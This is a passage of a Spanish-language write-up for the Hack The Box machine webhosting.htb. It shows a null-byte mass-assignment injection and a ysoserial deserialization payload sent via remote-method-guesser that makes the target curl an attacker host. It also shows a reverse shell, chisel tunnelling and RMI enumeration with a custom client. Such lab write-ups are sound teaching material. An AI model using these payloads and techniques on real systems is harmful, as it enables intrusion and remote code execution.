[Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
[System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.34) initializing of server in progress as process 80
[System] [MY-013576] [InnoDB] InnoDB initialization has started.
[System] [MY-013577] [InnoDB] InnoDB initialization has ended.
[Warning] [MY-010453] [Server] root@localhost is created with an empty password ! Please consider switching off the --initialize-insecure option.
[Note] [Entrypoint]: Database files initialized
[Note] [Entrypoint]: Starting temporary server
mysqld will log errors to /var/lib/mysql/b64d6bdff753.err
mysqld is running as pid 125
[Note] [Entrypoint]: Temporary server started.
'/var/lib/mysql/mysql.sock' -> '/var/run/mysqld/mysqld.sock'
Warning: Unable to load '/usr/share/zoneinfo/iso3166.tab' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/leap-seconds.list' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/leapseconds' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/tzdata.zi' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/zone.tab' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/zone1970.tab' as time zone. Skipping it.
[Note] [Entrypoint]: Creating database hosting
[Note] [Entrypoint]: /usr/local/bin/docker-entrypoint.sh: running /docker-entrypoint-initdb.d/db.sql
[Note] [Entrypoint]: Stopping temporary server
[Note] [Entrypoint]: Temporary server stopped
[Note] [Entrypoint]: MySQL init process done. Ready for start up.
[Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
[System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.34) starting as process 1
[System] [MY-013576] [InnoDB] InnoDB initialization has started.
[System] [MY-013577] [InnoDB] InnoDB initialization has ended.
[Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
[System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
[Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.
[System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock
[System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.34' socket: '/var/run/mysqld/mysqld.sock' port: 3306 MySQL Community Server - GPL.
Ahora, para ejecutar el archivo WAR, usaremos otro contenedor de Docker con una imagen de Tomcat (9.0.2). También necesitamos ingresar el archivo hosting.ini
(un poco diferente debido a la conexión con MySQL) y establecer registry.webhosting.htb
en /etc/hosts
:
#Mon Jan 30 21:05:01 GMT 2023
mysql.password=O8lBvQUBPU4CMbvJmYqY
rmi.host=registry.webhosting.htb
mysql.user=root
mysql.port=3306
mysql.host=192.168.1.132
domains.start-template=<body>\r\n<h1>It works\!</h1>\r\n</body>
domains.max=5
rmi.port=9002
$ docker run -it --rm -v "$PWD:/home/rocky" -p 8080:8080 tomcat:9.0.2 bash
root@a4c9f6e5a3b4:/usr/local/tomcat# cp /home/rocky/hosting.ini /etc
root@a4c9f6e5a3b4:/usr/local/tomcat# cp /home/rocky/hosting.war webapps
root@a4c9f6e5a3b4:/usr/local/tomcat# echo '192.168.1.132 registry.webhosting.htb' >> /etc/hosts
root@a4c9f6e5a3b4:/usr/local/tomcat#
root@a4c9f6e5a3b4:/usr/local/tomcat# catalina.sh run
Using CATALINA_BASE: /usr/local/tomcat
Using CATALINA_HOME: /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp
Using JRE_HOME: /docker-java-home
Using CLASSPATH: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version: Apache Tomcat/9.0.2
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server built: Nov 25 2017 21:08:02 UTC
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server number: 9.0.2.0
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name: Linux
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version: 5.15.49-linuxkit-pr
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture: aarch64
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home: /usr/lib/jvm/java-9-openjdk-arm64
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version: 9.0.1+11-Debian-1
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor: Oracle Corporation
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE: /usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME: /usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.lang=ALL-UNNAMED
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djdk.tls.ephemeralDHKeySize=2048
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.protocol.handler.pkgs=org.apache.catalina.webresources
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dignore.endorsed.dirs=
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.base=/usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.home=/usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.io.tmpdir=/usr/local/tomcat/temp
INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent Loaded APR based Apache Tomcat Native library [1.2.16] using APR version [1.6.3].
INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true].
INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
INFO [main] org.apache.catalina.core.AprLifecycleListener.initializeSSL OpenSSL successfully initialized [OpenSSL 1.1.0g 2 Nov 2017]
INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8080"]
INFO [main] org.apache.tomcat.util.net.NioSelectorPool.getSharedSelector Using a shared selector for servlet write/read
INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["ajp-nio-8009"]
INFO [main] org.apache.tomcat.util.net.NioSelectorPool.getSharedSelector Using a shared selector for servlet write/read
INFO [main] org.apache.catalina.startup.Catalina.load Initialization processed in 241 ms
INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Catalina]
INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet Engine: Apache Tomcat/9.0.2
INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive [/usr/local/tomcat/webapps/hosting.war]
INFO [main] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.
INFO [main] com.htb.hosting.utils.config.ConfigSchedule.contextInitialized Initializing config watcher
INFO [main] com.htb.hosting.utils.config.ConfigSchedule$1.onChange Config watcher detected file changes
INFO [main] org.hibernate.Version.logVersion HHH000412: Hibernate ORM core version 5.4.16.Final
INFO [main] org.hibernate.annotations.common.reflection.java.JavaReflectionManager.<clinit> HCANN000001: Hibernate Commons Annotations {5.1.0.Final}
WARN [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.configure HHH10001002: Using Hibernate built-in connection pool (not for production use!)
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.buildCreator HHH10001005: using driver [com.mysql.cj.jdbc.Driver] at URL [jdbc:mysql://192.168.1.132:3306/hosting?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=Europe/Rome]
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.buildCreator HHH10001001: Connection properties: {password=****, user=root}
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.buildCreator HHH10001003: Autocommit mode: false
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl$PooledConnections.<init> HHH000115: Hibernate connection pool size: 20 (min=1)
INFO [main] org.hibernate.dialect.Dialect.<init> HHH000400: Using dialect: org.hibernate.dialect.MySQL5Dialect
INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive [/usr/local/tomcat/webapps/hosting.war] has finished in [1,786] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/host-manager]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/host-manager] has finished in [13] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/docs]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/docs] has finished in [8] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/ROOT]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/ROOT] has finished in [7] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/examples]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/examples] has finished in [67] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/manager]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/manager] has finished in [8] ms
INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["ajp-nio-8009"]
INFO [main] org.apache.catalina.startup.Catalina.start Server startup in 1949 ms
Y ahora tenemos la misma aplicación web en nuestro entorno local:
Si comenzamos nc
en el puerto 9002 e intentamos crear un nuevo dominio, recibiremos una conexión:
$ nc -nlvp 9002
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 192.168.1.132:56182.
JRMIK
Y este es el evento registrado en el servidor Tomcat:
INFO [http-nio-8080-exec-9] com.htb.hosting.rmi.RMIClientWrapper.get Connecting to registry.webhosting.htb:9002
Pero aquí estamos haciendo trampas, ya que hemos establecido nuestra dirección IP en registry.webhosting.htb
. Necesitamos ingresar de alguna manera nuestra dirección IP para que contenga .htb
y que aún sea válida para RMI. En realidad, si agregamos un byte nulo entre la dirección IP y .htb
, funcionará (10.10.17.44\x00.htb
). Usemos la vulnerabilidad de la asignación en masa para eso:
$ curl 127.0.0.1:8080/hosting/reconfigure -d 'rmi.host=192.168.1.132%00.htb' -H 'Cookie: JSESSIONID=B80CCB6B4738BFF2C491C9D5DABBF32B'
En este punto, comencé a ver cómo funciona RMI, desarrollando algunos ejemplos cliente-servidor y tratando de adaptarlos a este reto. Pude definir una implementación de FileService
que fue consumida por el cliente RMI de Tomcat, pero cuando intentaba obtener ejecución remota de comandos, estaba en mi propia máquina (el servidor RMI), y no en Tomcat.
Entonces, pensé que sería más difícil lograr ejecución remota de comandos en el cliente RMI, por lo que comencé a buscar herramientas automatizadas como ysoserial
o remote-method-guesser (rmg
). De hecho, la opción listen
de rmg
fue útil para obtener RCE, porque envía un payload de deserialización. Solo necesitamos hacer lo siguiente:
$ java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso ysoserial-all.jar 0.0.0.0 9002 CommonsCollections6 "curl 192.168.1.132:9999/rce"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:9002.
[+] Handing off to ysoserial...
Ahora, si activamos la llamada del método RMI (haciendo algunas cosas con los dominios del sitio web), obtendremos una conexión:
$ java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso ysoserial-all.jar 0.0.0.0 9002 CommonsCollections6 "curl 192.168.1.132:9999/rce"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:9002.
[+] Handing off to ysoserial...
Have connection from /192.168.1.132:65047
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
Y se ejecuta el comando de curl
:
$ nc -nlvp 9999
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.132:65048.
GET /rce HTTP/1.1
Host: 192.168.1.132:9999
User-Agent: curl/7.57.0
Accept: */*
Acceso a la máquina
Ahora es momento de volver a la máquina. Para obtener una reverse shell, es posible que deseemos codificar el comando de la reverse shell en formato Runtime.exec
(véase está página):
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.223:50780.
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4$ whoami
whoami
app
bash-4.4$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
link/ether 00:50:56:b9:a0:c1 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.223/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:a0c1/64 scope global dynamic
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:feb9:a0c1/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN
link/ether 02:42:78:33:5b:fc brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-59a3a780b7b3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ae:c2:66:b5 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-59a3a780b7b3
valid_lft forever preferred_lft forever
inet6 fe80::42:aeff:fec2:66b5/64 scope link
valid_lft forever preferred_lft forever
6: vethfc04326@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master br-59a3a780b7b3 state UP
link/ether 3e:c4:0d:ef:f1:5a brd ff:ff:ff:ff:ff:ff
inet6 fe80::3cc4:dff:feef:f15a/64 scope link
valid_lft forever preferred_lft forever
8: veth74a0872@if7: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master br-59a3a780b7b3 state UP
link/ether 9e:41:79:f1:fe:08 brd ff:ff:ff:ff:ff:ff
inet6 fe80::9c41:79ff:fef1:fe08/64 scope link
valid_lft forever preferred_lft forever
Enumeración del sistema
Estamos dentro de un contenedor de Docker, y no hay comandos útiles para obtener una TTY completa.
Estos son los puertos abiertos:
bash-4.4$ netstat -nat
netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3310 0.0.0.0:* LISTEN
tcp 0 67 10.10.11.223:50780 10.10.17.44:4444 ESTABLISHED
tcp 0 1 10.10.11.223:56116 8.8.8.8:53 SYN_SENT
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
tcp 0 0 :::41149 :::* LISTEN
tcp 0 0 ::ffff:127.0.0.1:8005 :::* LISTEN
tcp 0 0 :::5000 :::* LISTEN
tcp 0 0 :::8009 :::* LISTEN
tcp 0 0 :::5001 :::* LISTEN
tcp 0 0 :::9002 :::* LISTEN
tcp 0 0 :::3306 :::* LISTEN
tcp 0 0 :::3310 :::* LISTEN
tcp 0 0 :::8080 :::* LISTEN
tcp 0 0 ::ffff:10.10.11.223:50706 ::ffff:10.10.17.44:9002 CLOSE_WAIT
tcp 0 0 ::ffff:127.0.0.1:44910 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:3306 ::ffff:127.0.0.1:44910 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:3306 ::ffff:127.0.0.1:52566 TIME_WAIT
Podríamos intentar acceder a MySQL usando un reenvío de puertos, pero es inútil, no hay nada interesante en la base de datos.
Otro puerto interesante es el 3310. Podemos usar chisel
para reenviar el puerto:
$ ./chisel server -p 1234 --reverse
2023/07/27 01:58:12 server: Reverse tunnelling enabled
2023/07/27 01:58:12 server: Fingerprint PMhZqwwnPDmxTpEYJlVO2Uoh2i17tNwX7IjunrBmyGo=
2023/07/27 01:58:12 server: Listening on http://0.0.0.0:1234
2023/07/27 02:02:52 server: session#1: tun: proxy#R:3310=>3310: Listening
bash-4.4$ /tmp/.chisel client 10.10.17.44:1234 R:3310:127.0.0.1:3310
/tmp/.chisel client 10.10.17.44:1234 R:3310:127.0.0.1:3310
2023/07/27 00:02:41 client: Connecting to ws://10.10.17.44:1234
2023/07/27 00:02:42 client: Connected (Latency 107.543592ms)
Ahora, con nmap
podemos ver que está ejecutando ClamAV versión 0.103.8, que parece ser seguro:
$ nmap -sC -sV -sT 127.0.0.1 -p 3310
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 02:02 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00016s latency).
PORT STATE SERVICE VERSION
3310/tcp open clam ClamAV 0.103.8 (26959) (AV definitions updated on:Tue Jul 4 07:29:23 2023)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
Obsérvese que el puerto 9002 está abierto, por lo que tenemos acceso al servidor RMI legítimo. Podemos reenviar el puerto nuevamente y usar rmg
para enumerar el registro RMI:
$ java -jar rmg-4.4.1-jar-with-dependencies.jar enum 127.0.0.1 9002
[+] RMI registry bound names:
[+]
[+] - QuarantineService
[+] --> com.htb.hosting.rmi.quarantine.QuarantineService (unknown class)
[+] Endpoint: registry.webhosting.htb:39311 TLS: no ObjID: [5ec136a4:189974e59cd:-7ffe, 7286554781873068889]
[+] - FileService
[+] --> com.htb.hosting.rmi.FileService (unknown class)
[+] Endpoint: registry.webhosting.htb:39311 TLS: no ObjID: [5ec136a4:189974e59cd:-7fff, -2889004651920348113]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Server complained that object cannot be casted to java.lang.String.
[+] --> The type java.lang.String is unmarshalled via readString().
[+] Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - RMI registry uses readString() for unmarshalling java.lang.String.
[+] This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Caught Exception containing 'no security manager' during RMI call.
[+] --> The server does not use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - RMI registry uses readString() for unmarshalling java.lang.String.
[+] This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught NoSuchObjectException during activate call (activator not present).
[+] Configuration Status: Current Default
En realidad, hay dos: FileService
y QuarantineService
. Por el momento, solo sabemos sobre FileService
, pero tenemos los prototipos de las funciones. La idea ahora es llamar a estas funciones del registro RMI.
Hay algunos ejemplos en el archivo WAR. En base a ellos, podemos construir este cliente RMI para interactuar con el servidor RMI:
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.AbstractFile;
import java.nio.charset.StandardCharsets;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
public class Client {
public static void main(String[] args) {
String cmd = args[0];
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9002);
FileService stub = (FileService) registry.lookup("FileService");
if (cmd.equals("list")) {
List<AbstractFile> response = stub.list(args[1], args[2]);
response.stream().map(f -> f.getDisplayName()).forEach(System.out::println);
} else if (cmd.equals("createDirectory")) {
boolean response = stub.createDirectory(args[1], args[2]);
System.out.println(response);
} else if (cmd.equals("view")) {
byte[] response = stub.view(args[1], args[2]);
System.out.println(new String(response, StandardCharsets.UTF_8));
} else if (cmd.equals("newDomain")) {
boolean response = stub.newDomain(args[1]);
System.out.println(response);
} else if (cmd.equals("uploadFile")) {
boolean response = stub.uploadFile(args[1], args[2], Base64.getDecoder().decode(args[3]));
System.out.println(response);
}
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
Básicamente, tomé las funciones que eran más interesantes, agregué argumentos de línea de comandos para llamarlos y luego imprimir el resultado. No conocemos la implementación específica, por lo que debemos probarlos todos.
Por si acaso, revisemos la versión Java en el contenedor:
bash-4.4$ java -version
java -version
openjdk version "1.8.0_151"
OpenJDK Runtime Environment (IcedTea 3.6.0) (Alpine 8.151.12-r0)
OpenJDK 64-Bit Server VM (build 25.151-b12, mixed mode)
Por lo tanto, usemos un contenedor de Docker con esta versión específica de Java para compilar la clase anterior:
$ docker run -it --rm -v "$PWD:/home/rocky" openjdk:8 bash
root@a3e3202d3b31:/# cd /home/rocky
root@a3e3202d3b31:/home/rocky# javac com/htb/hosting/rmi/Client.java
root@a3e3202d3b31:/home/rocky# cp com/htb/hosting/rmi/Client.class .
Ahora podemos cargar el archivo con la clase en el contenedor remoto y usarlo desde allí:
bash-4.4$ cd /tmp
cd /tmp
bash-4.4$ wget -qO Client.class 10.10.17.44:8000/Client.class
wget -qO Client.class 10.10.17.44:8000/Client.class
bash-4.4$ mkdir -p com/htb/hosting/rmi
mkdir -p com/htb/hosting/rmi
bash-4.4$ mv Client.class com/htb/hosting/rmi
mv Client.class com/htb/hosting/rmi
bash-4.4$ cp /usr/local/tomcat/webapps/hosting/WEB-INF/classes/com/htb/hosting/rmi/*.class com/htb/hosting/rmi
<ses/com/htb/hosting/rmi/*.class com/htb/hosting/rmi
bash-4.4$ java com.htb.hosting.rmi.Client newDomain asdf
java com.htb.hosting.rmi.Client newDomain asdf
true
bash-4.4$ java com.htb.hosting.rmi.Client view '' ''
java com.htb.hosting.rmi.Client view '' ''
Client exception: java.lang.IllegalArgumentException: Specified vhost not matching regex '[0-9a-fA-F]+':
java.lang.IllegalArgumentException: Specified vhost not matching regex '[0-9a-fA-F]+':
at com.htb.hosting.rmi.FileServiceImpl.getFromDocumentRoot(FileServiceImpl.java:30)
at com.htb.hosting.rmi.FileServiceImpl.view(FileServiceImpl.java:204)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:566)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:359)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at java.lang.Thread.run(Thread.java:829)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:227)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:179)
at com.sun.proxy.$Proxy0.view(Unknown Source)
at com.htb.hosting.rmi.Client.main(Client.java:30)
Como se puede ver, estamos interactuando con el servidor RMI. La función newDomain
funcionó correctamente, pero para ejecutar view
necesitamos pasar una RegEx:
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ''
java com.htb.hosting.rmi.Client view 1337 ''
bash-4.4$ java com.htb.hosting.rmi.Client view asdf
java com.htb.hosting.rmi.Client view asdf
Client exception: java.lang.ArrayIndexOutOfBoundsException: 2
java.lang.ArrayIndexOutOfBoundsException: 2
at com.htb.hosting.rmi.Client.main(Client.java:30)
bash-4.4$ java com.htb.hosting.rmi.Client view /
java com.htb.hosting.rmi.Client view /
Client exception: java.lang.ArrayIndexOutOfBoundsException: 2
java.lang.ArrayIndexOutOfBoundsException: 2
at com.htb.hosting.rmi.Client.main(Client.java:30)
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 asdf
java com.htb.hosting.rmi.Client view 1337 asdf
Después de algunos intentos, podemos adivinar que el nombre de dominio debe coincidir con la RegEx, así que creemos uno nuevo:
bash-4.4$ java com.htb.hosting.rmi.Client newDomain 1337
java com.htb.hosting.rmi.Client newDomain 1337
true
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 asdf
java com.htb.hosting.rmi.Client view 1337 asdf
Client exception: java.nio.file.NoSuchFileException: /sites/www.static-1337.webhosting.htb/asdf
java.nio.file.NoSuchFileException: /sites/www.static-1337.webhosting.htb/asdf
at sun.nio.fs.UnixException.translateToIOException(UnixException.java:92)
at sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111)
at sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:116)
at sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:219)
at java.nio.file.Files.newByteChannel(Files.java:371)
at java.nio.file.Files.newByteChannel(Files.java:422)
at java.nio.file.Files.readAllBytes(Files.java:3206)
at com.htb.hosting.rmi.FileServiceImpl.view(FileServiceImpl.java:212)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:566)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:359)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at java.lang.Thread.run(Thread.java:829)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
